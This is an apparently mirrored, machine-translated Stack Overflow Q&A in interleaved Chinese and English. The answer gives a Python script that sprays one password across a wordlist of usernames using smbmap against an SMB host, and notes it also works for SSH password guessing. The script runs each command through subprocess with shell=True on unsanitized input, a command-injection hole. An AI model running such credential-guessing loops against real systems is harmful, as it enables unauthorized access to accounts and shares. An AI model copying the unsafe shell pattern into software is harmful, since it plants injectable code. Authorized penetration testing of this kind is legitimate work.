简体   繁体   English

通过读取文本文件的内容来执行命令

[英]Execute a command by reading contents of a text file

I want to automate a Linux command using python.我想使用 python 自动化 Linux 命令。 The command is:命令是:

smbmap -u robert -p p@ssw0rd -H 192.168.2.10

I have a wordlist which includes possible usernames in each line.我有一个单词表,其中每行都包含可能的用户名。 How can I write a code which execute the command by reading the file?如何编写通过读取文件来执行命令的代码? For example I have a list called "users.txt" which contains:例如,我有一个名为“users.txt”的列表,其中包含:

robert
admin
administrator
guest

And it should try as follow till it finds the correct user&password:它应该尝试如下,直到找到正确的用户和密码:

smbmap -u robert -p p@ssw0rd -H 192.168.2.10
smbmap -u admin -p p@ssw0rd -H 192.168.2.10
smbmap -u administrator -p p@ssw0rd -H 192.168.2.10
smbmap -u guest -p p@ssw0rd -H 192.168.2.10

Thanks.谢谢。

This should work:这应该有效:

import subprocess

# read in users and strip the newlines
with open('/tmp/users.txt') as f:
    userlist = [line.rstrip() for line in f]

# get list of commands for each user
cmds = []
for user in userlist:
    cmds.append('smbmap -u {} -p p@ssw0rd -H 192.168.2.10'.format(user))

# results from the commands
results=[]

# execute the commands
for cmd in cmds:
    results.append(subprocess.call(cmd, shell=True))

# check for which worked
for i,result in enumerate(results):
    if result == 0:
        print(cmds[i])

Edit: made it your file path, changed to .format(), checked result == 0 (works for ssh trying passwords)编辑:将其设为您的文件路径,更改为 .format(),检查结果 == 0(适用于 ssh 尝试密码)

Edit: forgot to add shell=True编辑:忘记添加 shell=True

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM